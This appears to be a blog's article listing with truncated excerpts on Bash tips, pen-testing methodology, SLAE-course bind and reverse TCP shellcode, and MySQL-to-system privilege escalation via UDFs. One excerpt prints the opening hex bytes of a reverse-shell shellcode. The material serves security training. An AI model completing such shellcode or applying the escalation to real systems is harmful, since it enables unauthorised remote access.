BASH Shell Scripting – Sort a string alphabetically
I was asked today how to sort a string alphabetically with BASH Using perl, you can easily enough use print (join “”, sort split //,$_) With bash however, the best option is: echo “teststring” | grep...
View ArticleShell Return Codes – Ping Monitoring
BASH – The Bourne Again Shell amongst most if not all other shells allows each application to exit with a return code. Some shells and environments have limits on what range this integer can fall into....
View ArticleLinux Color Directory Listings
How to add color to ‘ls’? Adding color to your ls directory listings is easy enough, just use ls –color. You can set this behavior as the default with alias ls=’ls –color’ which I personally find quite...
View ArticleWeb Application Security Consultant Methodology
I wanted to share some thoughts on my general methodology when approaching web application pen testing. Depending on size, scope of work, complexity and a number of factors, there are two separate...
View ArticleLinux Shell Bind TCP Shellcode
As part of the SecurityTube SLAE course, I’m going to create a series of shellcodes and document the process. The first task is to create a simple shell bind tcp that spawns a shell on connect, with a...
View ArticleLinux Reverse Shell TCP Shellcode
Now to create a reasonably well optimized linux Reverse TCP shellcode (66 bytes): “\x31\xdb\xf7\xe3\x52\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\x68” “\x7f\x00\x00\x01” <- IP address...
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MySQL Root to System Root with lib_mysqludf_sys for Windows and Linux
Once a MySQL database server has been compromised at root level, it’s often possible to escalate this access to full system level access using User Defined Functions (UDFs). We may have MySQL root...
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